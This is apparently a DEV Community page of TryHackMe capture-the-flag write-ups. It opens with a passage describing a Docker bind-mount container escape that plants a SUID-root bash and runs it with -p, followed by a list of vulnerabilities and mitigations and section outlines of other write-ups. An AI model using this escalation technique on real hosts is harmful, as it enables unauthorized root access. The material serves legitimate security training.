The container's docker-compose.yml shows a bind-mounted logs volume shared with the host. Root inside the container drops a SUID-root bash binary into that shared path.
The host-side low-privilege user executes the now-SUID binary with -p, landing a root shell on the host itself and the root flag.

Key Vulnerabilities

Unauthenticated Docker Registry API exposing image manifests and build history to anyone on the network.
Hardcoded secrets in Docker image build args/ENV (DB_PASS baked directly into the image instead of injected at runtime via secrets management).
Directly internet/network-exposed database (MySQL bound to 0.0.0.0 reachable from outside the app container).
Weak, dictionary-crackable user passwords stored as unsalted MD5 hashes.
Unsafe use of eval() on user-controlled input, enabling authenticated remote code execution in the Node.js app.
Docker bind mount shared between a root-running container and a lower-privileged host user, allowing container-root writes to become host-root-owned SUID binaries - a container escape via shared filesystem rather than kernel exploitation.

Mitigations

Require authentication (and TLS) on the Docker Registry API; never expose /v2/_catalog or manifest endpoints to untrusted networks.
Never bake credentials into image layers or ENV instructions - inject secrets at runtime via a secrets manager, Docker secrets, or environment injection that doesn't persist in image history.
Restrict MySQL to internal/container-network access only; it should not be reachable from outside the Docker host at all, let alone from the public network.
Enforce strong password policies and use a slow, salted hashing algorithm (bcrypt/argon2) instead of unsalted MD5 for stored credentials.
Never pass user input into eval(), Function(), or child_process.exec() without strict validation; use a safe math-expression parser (e.g. mathjs with restricted scope) if arithmetic input is genuinely needed.
Avoid bind-mounting host directories into containers that run as root unless strictly necessary; when required, run the container process as a non-root UID and set the mount rw only for the specific low-privilege user/group that needs it, never leaving it world-writable from both sides.
Regularly audit containers for unnecessary volume mounts and drop unneeded Linux capabilities (--cap-drop=ALL) to reduce the blast radius of an in-container RCE.

DEV Community: Yogeshwar Peela

TryHackMe: Gallery Writeup

Summary

1. Recon

2. SQL Injection Auth Bypass

3. Admin Panel -> Arbitrary File Upload -> RCE

4. Source Review and Database Access

5. Local Enumeration and Lateral Movement to mike

6. Privilege Escalation: sudo rootkit.sh -> nano GTFOBin

Key Vulnerabilities

Attack Chain

Mitigations

TryHackMe: PlottedTMS Writeup

Summary

1. Reconnaissance

2. Web Enumeration - Port 80

3. Web Enumeration - Port 445

4. Database Dump and Credential Cracking

5. SQL Injection Auth Bypass

6. Arbitrary File Upload to RCE

7. Privilege Escalation - www-data to plot_admin (Cron + Writable Script Dir)

8. Privilege Escalation - plot_admin to root (doas + openssl)

Key Vulnerabilities

Attack Chain

Mitigations

TryHackMe: MD2PDF Writeup

Summary

1. Reconnaissance

2. Confirming HTML Injection

3. Identifying the Rendering Engine's Capabilities (SSRF Test)

4. Enumerating the Application for Internal-Only Endpoints

5. Chaining HTML Injection + SSRF to Reach /admin

6. Result

7. Root Cause Analysis

8. Remediation Recommendations

Timeline Summary

9. Attack Chain

10. Key Vulnerabilities and Mitigations

TryHackMe - SeaSurfer writeup

Executive Summary

1. Reconnaissance

1.1 Port Scan

1.2 VHost Disclosure via Response Header

2. Main Site Enumeration - seasurfer.thm

3. internal.seasurfer.thm - Receipt Generator

3.1 Root Cause - No Output Encoding

3.2 Confirming HTML Injection

3.3 SSRF - Outbound Callback

3.4 LFI - Reading Local Files

4. From Leaked DB Credentials to a WordPress Account

4.1 Adminer Login

4.2 Dumping wp_users

4.3 Cracking the Hash

4.4 WordPress Admin Login

5. Authenticated RCE via WordPress Theme Editor

6. Privilege Escalation: www-data -> kyle (Tar Wildcard Injection)

User Flag

7. Privilege Escalation: kyle -> root (Leftover SSH Agent + pam_ssh_agent_auth)

7.1 Dead Ends

7.2 Unusual sudo Configuration

7.3 Finding a Usable Agent Socket

7.4 Escalating

Root Flag

Key Vulnerabilities

Attack Chain Summary

Mitigations

References

TryHackMe: Binary Heaven - Writeup

Summary

Overview

Recon

Stage 1 - angel_A (Anti-Debug + Obfuscated Username Check)

Decompiling main()

Extracting and inverting

Stage 2 - angel_B (Go Binary Password Check)

Initial Access - SSH as guardian

Flag 1

Privilege Escalation - guardian to binexgod

Enumeration

Finding the Overflow

5. Chaining HTML Injection + SSRF to Reach `/admin`

6. Recovering `connor`'s credentials (cipher reversal)

7. SSH access as `connor`